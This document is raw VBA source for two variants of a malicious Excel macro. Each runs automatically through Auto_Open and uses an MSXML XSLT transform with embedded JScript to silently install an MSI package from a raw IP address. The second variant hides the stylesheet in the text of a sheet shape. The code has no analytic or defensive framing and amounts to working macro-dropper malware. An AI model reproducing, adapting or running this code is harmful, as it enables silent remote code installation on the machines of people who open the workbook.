Attribute VB_Name = "Module1"

Sub Auto_Open()
    LoadAndProcessXML
End Sub

Sub LoadAndProcessXML()
    If ActiveSheet.Shapes.Count > 0 Then
        Dim xmlDoc As New MSXML2.DOMDocument
        If xmlDoc.loadXML("<?xml version='1.0'?> <stylesheet xmlns=""http://www.w3.org/1999/XSL/Transform"" xmlns:ms=""urn:schemas-microsoft-com:xslt"" xmlns:user=""placeholder"" version=""1.0""> <ms:script implements-prefix=""user"" language=""JScript""> <![CDATA[ var r = new ActiveXObject(""WindowsInstaller.Installer""); r.UILevel = 2; r.InstallProduct(""http://162.250.124.142/files/ 435842fec424a8586e5855128884b319 ""); ]]> </ms:script> </stylesheet>") Then
            Dim transformedDoc As New MSXML2.DOMDocument
            xmlDoc.transformNodeToObject xmlDoc.CloneNode(True), transformedDoc
        End If
    End If
End Sub

Attribute VB_Name = "Module1"
Sub Auto_Open()
    Call LoadAndProcessXML
End Sub

Sub LoadAndProcessXML()
    If ActiveSheet.Shapes.Count > 0 Then
        Dim xmlContent As String
        xmlContent = ActiveSheet.Shapes(1).TextFrame.Characters.Text
        
        Dim xmlDoc As New MSXML2.DOMDocument
        If xmlDoc.loadXML(xmlContent) Then
            Dim transformedDoc As New MSXML2.DOMDocument
            xmlDoc.transformNodeToObject xmlDoc.CloneNode(True), transformedDoc
        End If
    End If
End Sub